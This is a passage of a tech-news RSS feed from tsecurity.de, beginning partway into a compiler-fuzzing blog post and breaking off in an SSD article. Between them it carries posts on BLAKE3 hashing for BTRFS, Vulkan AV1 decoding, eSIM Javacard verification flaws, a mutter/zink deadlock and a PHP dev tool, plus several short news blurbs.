Now, there are a few things to be said about these bugs.<br>
<br>
First, these bugs are mostly crashes: internal compiler errors ("ICEs"), assertion failures, and segfaults. Compiler crashes are usually not very high priority bugs -- especially when you are dealing with invalid programs. Most of the crashes would never occur "naturally" (i.e. as the result of a programmer trying to write some program). They represent very specific edge cases that may not be important at all in normal usage. So I am under no delusions about the relative importance of these bugs; a compiler crash is hardly a security risk.<br>
<br>
However, I still think there is value in fuzzing compilers. Personally I find it very interesting that the same technique on rustc, the Rust compiler, only found <a href="https://github.com/rust-lang/rust/issues?q=author%3Avegard">8 bugs</a> in a couple of weeks of fuzzing, and not a single one of them was an actual segfault. I think it does say something about the nature of the code base, code quality, and the relative dangers of different programming languages, in case it was not clear already. In addition, compilers (and compiler writers) should have these fuzz testing techniques available to them, because it clearly finds bugs. Some of these bugs also point to underlying weaknesses or to general cases where something really could go wrong in a real program. In all, knowing about the bugs, even if they are relatively unimportant, will not hurt us.<br>
<br>
Second, I should also note that I did have conversations with the gcc devs while fuzzing. I asked if I should open new bugs or attach more test cases to existing reports if I thought the area of the crash looked similar, even if it wasn't the exact same stack trace, etc., and they always told me to file a new report. In fact, I would like to praise the gcc developer community: I have never had such a pleasant bug-reporting experience. Within a day of reporting a new bug, somebody (usually Martin Liška or Marek Polacek) would run the test case and mark the bug as confirmed as well as bisect it using their huge library of precompiled gcc binaries to find the exact revision where the bug was introduced. This is something that I think all projects should strive to do -- the small feedback of having somebody acknowledge the bug is a huge encouragement to continue the process. Other gcc developers were also very active on IRC and answered almost all my questions, ranging from silly "Is this undefined behaviour?" to "Is this worth reporting?". In summary, I have nothing but praise for the gcc community.<br>
<br>
I should also add that I played briefly with LLVM/clang, and prog-fuzz found 9 new bugs (2 of them fixed so far):<br>
<ul>
<li><a href="https://bugs.llvm.org/buglist.cgi?reporter=vegard.nossum%40gmail.com">https://bugs.llvm.org/buglist.cgi?reporter=vegard.nossum%40gmail.com</a></li>
</ul>
In addition to those, I also found a few other bugs that had already been reported by Sami Liedes back in 2014 which remain unfixed.<br>
<br>
For rustc, I will write a more detailed blog post about how to set it up, as compiling rustc itself with AFL instrumentation is non-trivial and it makes more sense to detail those exact steps apart from this post.<br>
<br>
<h3>
What next?</h3>
<br>
I mentioned the efforts by Regehr et al. and Dmitry Babokin et al. on Csmith and yarpgen, respectively, as fuzzers that generate valid (UB-free) C/C++ programs for finding code generation bugs. I think there is work to be done here to find more code generation bugs; as far as I can tell, nobody has yet combined instrumentation feedback (grey-box fuzzing) with this kind of test case generator. Well, <a href="https://github.com/vegard/prog-fuzz/blob/master/main-valid.cc">I tried to do it</a>, but it requires a lot of effort to generate valid programs that are also interesting, and I stopped before finding any actual bugs. But I really think this is the future of compiler fuzzing, and I will outline the ideas that I think will have to go into it:<br>
<ul>
<li>iterative program generation with instrumentation feedback: As opposed to generating one huge program and hoping that it will tickle some interesting path in the compiler you start with a valid program and you apply transformation rules that will gradually introduce complexity in the program. This allows you to use instrumentation feedback to tell exactly which transformations are valuable in terms of new code paths taken, and will give you a corpus of interesting test cases as well as speeding up the full generate/compile/test cycle.</li>
<li>have the program perform a calculation with a known result: Instead of compiling the same program with two different compilers or configurations and checking that the resulting binary outputs the same thing (which is what Regehr et al. did in "Taming compiler fuzzers"), we can test one compiler/configuration at a time and simply check that the output matches the known solution. </li>
</ul>
I don't have the time to continue working on this at the moment, but please do let me know if you would like to give it a try and I'll do my best to answer any questions about the code or the approach.<br>
<br>
<h3>
Acknowledgements</h3>
<br>
Thanks to John Regehr, Martin Liška, Marek Polacek, Jakub Jelinek, Richard Guenther, David Malcolm, Segher Boessenkool, and Martin Jambor for responding to my questions and bug reports!<br>
<br>
Thanks to my employer, Oracle, for allowing me to do part of this fuzzing effort using company time and resources.]]></content:encoded>
</item>
<item>
<title><![CDATA[BLAKE3 vs BLAKE2 for BTRFS]]></title>
<description><![CDATA[Irony isn’t it. The paint of BLAKE2 as BTRFS checksum algorithm hasn’t dried
yet, 1-2 weeks to go but there’s a successor to it. Faster, yet still supposed to
be strong. For a second or two I considered ripping out all the work and … no
not really but I do admit the excitement.

Speed and strengt...]]></description>
<link>https://tsecurity.de/de/3500650/unix-server/blake3-vs-blake2-for-btrfs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500650/unix-server/blake3-vs-blake2-for-btrfs/</guid>
<pubDate>Fri, 08 May 2026 22:51:15 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Irony isn’t it. The paint of BLAKE2 as BTRFS checksum algorithm hasn’t dried
yet, 1-2 weeks to go but there’s a successor to it. Faster, yet still supposed to
be strong. For a second or two I considered ripping out all the work and … no
not really but I do admit the excitement.</p>

<p>Speed and strength are competing goals for a hash algorithm. The speed can be
evaluated by anyone, not so much for the strength. I am no cryptographer and
for that area rely on expertise and opinion of others. That BLAKE was a SHA3
finalist is a good indication, where BLAKE2 is it’s successor, weakened but not
weak. BLAKE3 is yet another step trading off strength and speed.</p>

<p>Regarding BTRFS, BLAKE2 is going to be the faster of strong hashes for now (the
other one is SHA256). The argument I have for it now is proof of time. It’s
been deployed in many projects (even crypto currencies!), there are optimized
implementations, various language ports.</p>

<p>The look ahead regarding more checksums is to revisit them in about 5 years.
Hopefully by that time there will be deployments, real workload performance
evaluations and overall user experience that will back future decisions.</p>

<p>Maybe there are going to be new strong yet fast hashes developed. During my
research I learned about Kangaroo 12 that’s a reduced version of SHA3 (Keccak).
The hash is constructed in a different way, perhaps there might be a Kangaroo 2π
one day on par with BLAKE3. Or something else. Why not EDON-R, it’s #1 in many
of the cr.yp.to/hash benchmarks? Another thing I learned during the research is
that hash algorithms are twelve in a dozen, IOW too many to choose from. That
Kangaroo 12 is internally of a different construction might be a point for
selecting it to have wider range of “building block types”.</p>

<h2>Quick evaluation</h2>

<p>For BTRFS I have a micro benchmark, repeatedly hashing a 4 KiB block and using
cycles per block as a metric.</p>

<ul>
  <li>Block size: 4KiB</li>
  <li>Iterations: 10000000</li>
  <li>Digest size: 256 bits (32 bytes)</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Hash</th>
      <th>Total cycles</th>
      <th>Cycles/iteration</th>
      <th>Perf vs BLAKE3</th>
      <th>Perf vs BLAKE2b</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>BLAKE3  (AVX2)</td>
      <td>111260245256</td>
      <td>11126</td>
      <td>1.0</td>
      <td>0.876 (-13%)</td>
    </tr>
    <tr>
      <td>BLAKE2b (AVX2)</td>
      <td>127009487092</td>
      <td>12700</td>
      <td>1.141 (+14%)</td>
      <td>1.0</td>
    </tr>
    <tr>
      <td>BLAKE2b (AVX)</td>
      <td>166426785907</td>
      <td>16642</td>
      <td>1.496 (+50%)</td>
      <td>1.310 (+31%)</td>
    </tr>
    <tr>
      <td>BLAKE2b (ref)</td>
      <td>225053579540</td>
      <td>22505</td>
      <td>2.022 (+102%)</td>
      <td>1.772 (+77%)</td>
    </tr>
  </tbody>
</table>

<p>Right now there’s only the reference Rust implementation and a derived C
implementation of BLAKE3, claimed not to be optimized but from my other
experience the compiler can do a good job optimizing programmers ideas away.
There’s only one BLAKE3 entry with the AVX2 implementation, the best hardware
support my testing box provides. As I had the other results of BLAKE2 at hand,
they’re in the table for comparison, but the most interesting pair are the AVX2
versions anyway.</p>

<p>The improvement is 13-14%. Not much ain’t it, way less that the announced 4+x
faster than BLAKE2b. Well, it’s always important to interpret results of a
benchmark with respect to the environment of measurement and the tested
parameters.</p>

<p>For BTRFS filesystem the block size is always going to be in kilobytes. I can’t
find what was the size of the official benchmark results, the bench.rs script
iterates over various sizes, so I assume it’s an average. Short input buffers
can skew the results as the setup/output overhead can be significant, while for
long buffers the compression phase is significant. I don’t have explanation for
the difference and won’t draw conclusions about BLAKE3 in general.</p>

<p>One thing that I dare to claim is that I can sleep well because upon the above
evaluation, BLAKE3 won’t bring a notable improvement if used as a checksum
hash.</p>

<h2>References</h2>

<ul>
  <li><a href="https://kdave.github.io/selecting-hash-for-BTRFS">new hash for BTRFS selection</a>, same testing box for the measurements</li>
  <li>https://github.com/BLAKE3-team/BLAKE3 – top commit 02250a7b7c80ded, 2020-01-13, upstream version 0.1.1</li>
  <li><a href="https://bench.cr.yp.to/primitives-hash.html">DJB’s hash menu</a> and <a href="https://bench.cr.yp.to/results-hash.html">per-machine results</a> with numbers</li>
</ul>

<h2>Personal addendum</h2>

<p>During the evaluations now and in the past, I’ve found it convenient if there’s
an offer of implementations in various languages. That eg. Keccak project pages
does not point me directly to a C implementation slightly annoyed me, but the
reference implementation in C++ was worse than BLAKE2 I did not take the next
step to compare the C version, wherever I would find it.</p>

<p>BLAKE3 is fresh and Rust seems to be the only thing that has been improved
since the initial release. A plain C implementation without any
warning-not-optimized labels would be good. I think that C versions will appear
eventually, besides that Rust is now the new language hotness, there are
projects not yet <em>“let’s rewrite it in Rust”</em>. Please Bear with us.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[radv: vulkan av1 video decode status]]></title>
<description><![CDATA[The Khronos Group announced VK_KHR_video_decode_av1 [1], this extension adds AV1 decoding to the Vulkan specification. There is a radv branch [2] and merge request [3]. I did some AV1 work on this in the past, but I need to take some time to see if it has made any progress since. I'll post an ANV...]]></description>
<link>https://tsecurity.de/de/3500560/unix-server/radv-vulkan-av1-video-decode-status/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500560/unix-server/radv-vulkan-av1-video-decode-status/</guid>
<pubDate>Fri, 08 May 2026 22:48:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Khronos Group announced VK_KHR_video_decode_av1 [1], this extension adds AV1 decoding to the Vulkan specification. There is a radv branch [2] and merge request [3]. I did some AV1 work on this in the past, but I need to take some time to see if it has made any progress since. I'll post an ANV update once I figure that out.</p><p>This extension is one of the ones I've been wanting for a long time, since having royalty-free codec is something I can actually care about and ship, as opposed to the painful ones. I started working on a MESA extension for this a year or so ago with Lynne from the ffmpeg project and we made great progress with it. We submitted that to Khronos and it has gone through the committee process and been refined and validated amongst the hardware vendors.</p><p>I'd like to say thanks to Charlie Turner and Igalia for taking over a lot of the porting to the Khronos extension and fixing up bugs that their CTS development brought up. This is a great feature of having open source drivers, it allows a lot quicker turn around time in bug fixes when devs can fix them themselves!<br></p><p>[1]: <a href="https://www.khronos.org/blog/khronos-releases-vulkan-video-av1-decode-extension-vulkan-sdk-now-supports-h.264-h.265-encode">https://www.khronos.org/blog/khronos-releases-vulkan-video-av1-decode-extension-vulkan-sdk-now-supports-h.264-h.265-encode</a> </p><p>[2]  <a href="https://gitlab.freedesktop.org/airlied/mesa/-/tree/radv-vulkan-video-decode-av1">https://gitlab.freedesktop.org/airlied/mesa/-/tree/radv-vulkan-video-decode-av1</a></p><p>[3] <a href="https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27424">https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27424</a><br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Issues regarding GSMA eSIMs / eUICCs + Javacard]]></title>
<description><![CDATA[The independent security researcher Adam Gowdiak has published an extensive report on flaws he found in some eUICCs (the chips used to store eSIM profiles within the GSMA eSIM architecture).  While the specific demonstrable exploit was in a product of one specific CardOS Vendor (Kigen, formerly p...]]></description>
<link>https://tsecurity.de/de/3500522/unix-server/security-issues-regarding-gsma-esims-euiccs-javacard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500522/unix-server/security-issues-regarding-gsma-esims-euiccs-javacard/</guid>
<pubDate>Fri, 08 May 2026 22:47:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The independent security researcher Adam Gowdiak has published <a class="reference external" href="https://security-explorations.com/esim-security.html">an extensive report on flaws he found in some eUICCs</a> (the chips used to store eSIM profiles within the GSMA eSIM architecture).  While the specific demonstrable exploit was in a product of one specific CardOS Vendor (Kigen, formerly part of ARM), the fundamental underlying issue is actually an architectural one.</p>
<p>The Oracle Javacard [memory] safety architecture relies on a so-called <em>bytecode verifier</em> which is a
program that you run after compiling an application, but before executing the code on the Javacard.  The specifications allow for both on-card and off-card verification.  However, the computational complexity of this verifier is generally assumed to exceed the resources available inside many microcontrollers used to implement java cards.  Such microcontrollers often are ARM SC000 (Cortex-M0 based) or SC300 (Cortex-M3 based) based, with only tens of kilobytes of RAM and hundreds of kilobytes of flash.</p>
<p>Javacard was originally developed for use cases within the banking/payment industry.  In that industry, the card-issuing bank is the sole entity that has the keys to load java applets onto a card.  That entity is of course interested in the security of the card, and will hence always run an off-card bytecode verifier.   In a world of physical SIM/USIM cards issued by a single mobile operator, the situation is the same: The card-issuing MNO/MVNO is the only entity with key materials to install additional java applets on the card.</p>
<p>This fundamental problem <a class="reference external" href="https://security-explorations.com/sim-usim-cards.html">became already apparent by earlier findings by Adam Gowdiak in 2019</a>, but at least in terms of public responses by Oracle and Gemalto back then, they mostly did hand-waving and/or made lame excuses.</p>
<p>However, when the industry represented in GSMA standardized the eSIM architecture, this changed.  Suddenly we have various eSIM profiles of various different operators, each holding key material to install Java applets on the shared card.  In such an environment, it is no longer safe to assume that every MNO/MVNO can be trusted to be non-adverserial and hence trusted to run that off-card bytecode verifier before loading applets onto the card.</p>
<p>If the Javacard runtime on the existing card/chip itself cannot autonomously perform those verification tasks, I don't see how the problem can ever be solved short of completely removing/disabling Javacard support in such eUICCs.  Luckily it is an optional feature and not a mandatory requirement for an eUICC to be approved/accredited.  Sadly many MNOs/MVNOS however will mandate Javacard support in their eSIM profiles and hence refuse to install into an eUICC without it :(</p>
<p>In my opinion, the solution to the problem can only be to either make the GSMA require full on-card bytecode
verification on all eUICCs, or to remove Javacard support from the eUICC.</p>
<p>We have to keep in mind that there are hundreds if not thousands of MVNOs around the planet, and all of them
are subject to whatever local jurisdiction they operate in, and also subject to whatever government pressure
(e.g from intelligence agencies).</p>
<p>In hindsight, anyone familiar with the 2019 work by Gowdiak and an understanding of the fundamental change to multiple stakeholders in an eUICC (compared to classic SIM/USIM) should have arrived at the conclusion that there is a serious problem that needs addressing.  I think the 2019 work had not been publicized and covered significantly enough to make sure that everyone in the industry was made aware of the problems.  And that in turn is mostly a result of Oracle + Gemalto downplaying the 2019 findings back in the day, rather than raising awareness within all relevant groups and bodies of the industry.</p>
<section>
<h2>Mitigation via TS.48 key diversification</h2>
<p>The specific attack presented was using a GSMA TS.48 test profile to install the malicious java bytecode; those TS.48 profiles are standardized profiles used by the industry for cellular testing; until the attack they contained well-known static OTA key material.  The mitigation to randomize/diversity those keys in TS.48v7 closes that particular vector, but the attack itself is not dependent on test profiles.  Any MNO/NVNO (or rather, anyone with access to a commercial service of a SM-DP+ accredited by GSMA) obviously has the ability to load java applets into the eSIM profile that they create, using keys that they themselves specify.</p>
</section>
<section>
<h2>What IMHO ought to be done</h2>
<ul class="simple">
<li><p><strong>Oracle</strong> should get off their <em>we only provide a reference implementation and vendors should invent their own prporietary verification mechanisms</em> horse.  This is just covering their own ass and not helping any of their downstream users/implementers.  The reference implementation should show how proper verification can be done in the most resource-constrained environment of cards (it's JavaCard, after all!), and any advances of the verifier should happen once at Oracle, and then used by all the implementers (CardOS vendors).  Anyone who really cares about security of a standardized platform (like Javacard) should never leave key aspects of it up to each and every implementer, but rather should solve the problem once, publicly, with validation and testing tools, independent 3rd party penetration testing and then ensure that every implementer uses that proven implementation.</p></li>
<li><p><strong>GSMA</strong> should have security requirements (and mandatory penetration tests) specifically regarding the JVM/JRE of each card that gets SAS-UP accredited.</p></li>
<li><p><strong>GSMA</strong> should require that Javacard support should be disabled on all existing eUICCs that cannot legitimately claim/demonstrate that they are performing full bytecode verification entirely on-card.</p></li>
<li><p><strong>GSMA</strong> should refuse any future SAS-UP accreditation to any product that requires off-card bytecode verification</p></li>
<li><p>The entire industry should find a way to think beyond Javacard, or in fact any technology whose security requires verification of the executable program that is too complex to perform on-card on the targeted microcontrollers.</p></li>
</ul>
</section>]]></content:encoded>
</item>
<item>
<title><![CDATA[a tale of vulkan/nouveau/nvk/zink/mutter + deadlocks]]></title>
<description><![CDATA[ I had a bug appear in my email recently which led me down a rabbit hole, and I'm going to share it for future people wondering why we can't have nice things.Bug:1. Get an intel/nvidia (newer than Turing) laptop.2. Log in to GNOME on Fedora 42/43 3. Hotplug a HDMI port that is connected to the NV...]]></description>
<link>https://tsecurity.de/de/3500507/unix-server/a-tale-of-vulkannouveaunvkzinkmutter-deadlocks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500507/unix-server/a-tale-of-vulkannouveaunvkzinkmutter-deadlocks/</guid>
<pubDate>Fri, 08 May 2026 22:47:21 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> I had a bug appear in my email recently which led me down a rabbit hole, and I'm going to share it for future people wondering why we can't have nice things.</p><h2>Bug:</h2><p>1. Get an intel/nvidia (newer than Turing) laptop.</p><p>2. Log in to GNOME on Fedora 42/43 </p><p>3. Hotplug a HDMI port that is connected to the NVIDIA GPU.</p><p>4. Desktop stops working.</p><p>My initial reproduction got me a hung mutter process with a nice backtrace which pointed at the Vulkan Mesa device selection layer, trying to talk to the wayland compositor to ask it what the default device is. The problem was the process was the wayland compositor, and how was this ever supposed to work. The Vulkan device selection was called because zink called EnumeratePhysicalDevices, and zink was being loaded because we recently switched to it as the OpenGL driver for newer NVIDIA GPUs.</p><p>I looked into zink and the device select layer code, and low and behold someone has hacked around this badly already, and probably wrongly and I've no idea what the code does, because I think there is at least one logic bug in it. Nice things can't be had because hacks were done instead of just solving the problem. </p><p>The hacks in place ensured under certain circumstances involving zink/xwayland that the device select code to probe the window system was disabled, due to deadlocks seen. I'd no idea if more hacks were going to help, so I decided to step back and try and work out better.</p><p>The first question I had is why WAYLAND_DISPLAY is set inside the compositor process, it is, and if it wasn't I would never hit this. It's pretty likely on the initial compositor start this env var isn't set, so the problem only becomes apparent when the compositor gets a hotplugged GPU output, and goes to load the OpenGL driver, zink, which enumerates and hits device select with env var set and deadlocks.</p><p>I wasn't going to figure out a way around WAYLAND_DISPLAY being set at this point, so I leave the above question as an exercise for mutter devs.</p><h2>How do I fix it?</h2><h3>Attempt 1:</h3><p>At the point where zink is loading in mesa for this case, we have the file descriptor of the GPU device that we want to load a driver for. We don't actually need to enumerate all the physical devices, we could just find the ones for that fd. There is no API for this in Vulkan. I wrote an initial proof of concept instance extensions call VK_MESA_enumerate_devices_fd. I wrote initial loader code to play with it, and wrote zink code to use it. Because this is a new instance API, device-select will also ignore it. However this ran into a big problem in the Vulkan loader. The loader is designed around some internals that PhysicalDevices will enumerate in similiar ways, and it has to trampoline PhysicalDevice handles to underlying driver pointers so that if an app enumerates once, and enumerates again later, the PhysicalDevice handles remain consistent for the first user. There is a lot of code, and I've no idea how hotplug GPUs might fail in such situations. I couldn't find a decent path forward without knowing a lot more about the Vulkan loader. I believe this is the proper solution, as we know the fd, we should be able to get things without doing a full enumeration then picking the answer using the fd info. I've asked Vulkan WG to take a look at this, but I still need to fix the bug.</p><h3>Attempt 2:</h3><p>Maybe I can just turn off device selection, like the current hacks do, but in a better manner. Enter VK_EXT_layer_settings. This extensions allows layers to expose a layer setting in the instance creation. I can have the device select layer expose a setting which says don't touch this instance. Then in the zink code where we have a file descriptor being passed in and create an instance, we set the layer setting to avoid device selection. This seems to work but it has some caveats, I need to consider, but I think should be fine.</p><p>zink uses a single VkInstance for it's device screen. This is shared between all pipe_screens. Now I think this is fine inside a compositor, since we shouldn't ever be loading zink via the non-fd path, and I hope for most use cases it will work fine, better than the current hacks and better than some other ideas we threw around. The code for this is in [1].</p><h2>What else might be affected:</h2><p>If you have a vulkan compositor, it might be worth setting the layer setting if the mesa device select layer is loaded, esp if you set the DISPLAY/WAYLAND_DISPLAY and do any sort of hotplug later. You might be safe if you EnumeratePhysicalDevices early enough, the reason it's a big problem in mutter is it doesn't use Vulkan, it uses OpenGL and we only enumerate Vulkan physical devices at runtime through zink, never at startup.</p><p>AMD and NVIDIA I think have proprietary device selection layers, these might also deadlock in similiar ways, I think we've seen some wierd deadlocks in NVIDIA driver enumerations as well that might be a similiar problem. </p><p> [1] https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/38252 </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lerd v1.19, rootless-Podman local PHP dev env for Linux, follow-up since 1.0]]></title>
<description><![CDATA[I posted lerd here at the 1.0 launch and got really useful feedback from folks running it on everything from Arch and Fedora to Ubuntu and NixOS. Coming back with an update since the Linux story has improved a lot. For anyone new, lerd is an open source local PHP dev environment built on rootless...]]></description>
<link>https://tsecurity.de/de/3496033/linux-tipps/lerd-v119-rootless-podman-local-php-dev-env-for-linux-follow-up-since-10/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3496033/linux-tipps/lerd-v119-rootless-podman-local-php-dev-env-for-linux-follow-up-since-10/</guid>
<pubDate>Thu, 07 May 2026 14:56:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I posted lerd here at the 1.0 launch and got really useful feedback from folks running it on everything from Arch and Fedora to Ubuntu and NixOS. Coming back with an update since the Linux story has improved a lot.</p> <p>For anyone new, lerd is an open source local PHP dev environment built on rootless Podman, no docker desktop, no daemon as root, ships as a single Go binary. It detects your project's framework automatically and gives you .test domains, per-project PHP version isolation, one-command HTTPS, and a stack of common services (MySQL, Postgres, Redis, Meilisearch, Mailpit) plus one-click presets for phpMyAdmin, pgAdmin, and others. Everything goes through systemd user units and Podman quadlets, no sudo required after install.</p> <p>Highlights since the launch post:</p> <ul> <li>Install works on Ubuntu 26.04 (sudo-rs), Fedora 41+, Arch, openSUSE Tumbleweed, NixOS, anything with strict-sudo defaults.</li> <li>Optional install mode that doesn't touch system DNS, sites resolve via *.localhost instead.</li> <li>lerd doctor walks the whole DNS chain (lerd-dns, dnsmasq, port 5300, dig, resolver hookup, system lookup) and tells you exactly which rung is broken instead of one vague error.</li> <li>First-class omarchy support.</li> <li>Idle CPU is near zero with the dashboard open, the cache backs off when systemd-logind reports the session as idle or locked.</li> <li>Dual-stack IPv4 + IPv6 with auto-detection (--no-ipv6 to opt out).</li> <li>Btop-style lerd tui for terminal folks, near-parity with the web dashboard.</li> </ul> <p>Would love feedback from Linux devs, especially if your distro hits anything weird with DNS or systemd. Stars on GitHub help a lot if you like the project.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/geodro"> /u/geodro </a> <br> <span><a href="http://github.com/geodro/lerd">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1t56b03/lerd_v119_rootlesspodman_local_php_dev_env_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA["Krafton are still very much helping us": Dev of Xbox Game Pass' Subnautica 2 says it's still working with publisher Krafton despite Steam page removal]]></title>
<description><![CDATA[Many believe Subnautica 2 dev Unknown Worlds and publisher Krafton are severing ties, but devs have confirmed that the two are "co-publishing" the title.]]></description>
<link>https://tsecurity.de/de/3493686/windows-tipps/krafton-are-still-very-much-helping-us-dev-of-xbox-game-pass-subnautica-2-says-its-still-working-with-publisher-krafton-despite-steam-page-removal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3493686/windows-tipps/krafton-are-still-very-much-helping-us-dev-of-xbox-game-pass-subnautica-2-says-its-still-working-with-publisher-krafton-despite-steam-page-removal/</guid>
<pubDate>Wed, 06 May 2026 19:41:33 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Many believe Subnautica 2 dev Unknown Worlds and publisher Krafton are severing ties, but devs have confirmed that the two are "co-publishing" the title.]]></content:encoded>
</item>
<item>
<title><![CDATA[DAEMON Tools devs confirm breach, release malware-free version]]></title>
<description><![CDATA[Disc Soft Limited, the maker of DAEMON Tools Lite, confirmed that the software had been trojanized in a supply chain attack and released a new, malware-free version. [...]]]></description>
<link>https://tsecurity.de/de/3493549/it-security-nachrichten/daemon-tools-devs-confirm-breach-release-malware-free-version/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3493549/it-security-nachrichten/daemon-tools-devs-confirm-breach-release-malware-free-version/</guid>
<pubDate>Wed, 06 May 2026 18:54:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Disc Soft Limited, the maker of DAEMON Tools Lite, confirmed that the software had been trojanized in a supply chain attack and released a new, malware-free version. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft fixes VS Code after app gives Copilot credit for human's work]]></title>
<description><![CDATA[Devs not thrilled that Git extension added the bot as co-author by default]]></description>
<link>https://tsecurity.de/de/3493238/it-nachrichten/microsoft-fixes-vs-code-after-app-gives-copilot-credit-for-humans-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3493238/it-nachrichten/microsoft-fixes-vs-code-after-app-gives-copilot-credit-for-humans-work/</guid>
<pubDate>Wed, 06 May 2026 17:19:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Devs not thrilled that Git extension added the bot as co-author by default]]></content:encoded>
</item>
<item>
<title><![CDATA[Richard Heigl über Barrierefreiheit: "Wir sind bei den ersten Audits glatt durchgefallen"]]></title>
<description><![CDATA[Es war ein langer Weg, aber letztlich klappte es mit der Barrierefreiheit bei der Software Bluespice von Hallo Welt! Der CEO Richard Heigl erzählt, wie. (Barrierefreiheit, Chefs von Devs)]]></description>
<link>https://tsecurity.de/de/3491954/it-nachrichten/richard-heigl-ueber-barrierefreiheit-wir-sind-bei-den-ersten-audits-glatt-durchgefallen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3491954/it-nachrichten/richard-heigl-ueber-barrierefreiheit-wir-sind-bei-den-ersten-audits-glatt-durchgefallen/</guid>
<pubDate>Wed, 06 May 2026 10:47:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Es war ein langer Weg, aber letztlich klappte es mit der Barrierefreiheit bei der Software Bluespice von Hallo Welt! Der CEO Richard Heigl erzählt, wie. (<a href="https://www.golem.de/specials/barrierefreiheit/">Barrierefreiheit</a>, <a href="https://www.golem.de/specials/chefsvondevs/">Chefs von Devs</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=208298&amp;page=1&amp;ts=1778057101" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[CopilotKit raises $27M to help devs deploy app-native AI agents]]></title>
<description><![CDATA[The Seattle-based startup's Series A round was led by Glilot Capital, NFX and SignalFire, TechCrunch has exclusively learned.]]></description>
<link>https://tsecurity.de/de/3489893/it-nachrichten/copilotkit-raises-27m-to-help-devs-deploy-app-native-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489893/it-nachrichten/copilotkit-raises-27m-to-help-devs-deploy-app-native-ai-agents/</guid>
<pubDate>Tue, 05 May 2026 16:32:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Seattle-based startup's Series A round was led by Glilot Capital, NFX and SignalFire, TechCrunch has exclusively learned.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft fixes VS Code after app gives Copilot credit for human's work]]></title>
<description><![CDATA[Devs not thrilled that Git extension added the bot as co-author by default Imagine working your butt off on a project, only to have VS Code put an attribution into your commit that says Copilot helped you, even if it did not. Microsoft has reversed a change that added a default AI attribution not...]]></description>
<link>https://tsecurity.de/de/3487458/it-nachrichten/microsoft-fixes-vs-code-after-app-gives-copilot-credit-for-humans-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487458/it-nachrichten/microsoft-fixes-vs-code-after-app-gives-copilot-credit-for-humans-work/</guid>
<pubDate>Mon, 04 May 2026 23:16:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Devs not thrilled that Git extension added the bot as co-author by default</h4> <p>Imagine working your butt off on a project, only to have VS Code put an attribution into your commit that says Copilot helped you, even if it did not. Microsoft has reversed a change that added a default AI attribution notice after user complaints that the bot was claiming credit for human-authored code.…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SSD stirbt leise: Diese Warnzeichen dürfen Sie nicht ignorieren]]></title>
<description><![CDATA[Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.



Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server un...]]></description>
<link>https://tsecurity.de/de/3485126/windows-tipps/ssd-stirbt-leise-diese-warnzeichen-duerfen-sie-nicht-ignorieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3485126/windows-tipps/ssd-stirbt-leise-diese-warnzeichen-duerfen-sie-nicht-ignorieren/</guid>
<pubDate>Mon, 04 May 2026 08:24:36 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



